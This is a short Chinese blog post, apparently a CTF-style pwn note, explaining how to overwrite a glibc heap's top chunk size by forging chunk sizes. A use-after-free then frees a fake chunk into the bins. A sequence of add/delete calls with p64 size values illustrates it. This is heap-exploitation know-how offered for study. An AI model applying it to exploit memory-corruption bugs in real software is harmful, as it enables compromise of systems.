0
点赞
收藏
分享

微信扫一扫

UAF改top chunk size

何晓杰Dev 2022-09-09 阅读 278

UAF改top chunk size

之前我以为想改​​top chunk size​​​要通过​​UAF​​​并且加上​​edit​​​的功能才可以实现。前几天我看到一个纯利用堆风水实现修改​​top chunk​​的方法才恍然大悟,在此记录一下。

举个例子,堆布局如下:

add(0, 0x420, b'a')
add(1, 0x420, b'a')
add(2, 0x420, b'a')

delete(0)
delete(1)
delete(2)

add(3, 0x430, b'a'*0x420 + p64(0) + p64(0x441))
add(4, 0x430, b'b'*0x420 + p64(0) + p64(0x421))

delete(4)
delete(1)

add(5, 0x430, p64(0) + p64(0x233))

本质也就是通过伪造两个​​size​​​,使得可以通过​​UAF​​​释放一个​​fake_chunk​​​进​​bins​​​。然后再申请回来即可以修改​​top chunk size​​。

作者:{狒猩橙}​



举报

相关推荐

0 条评论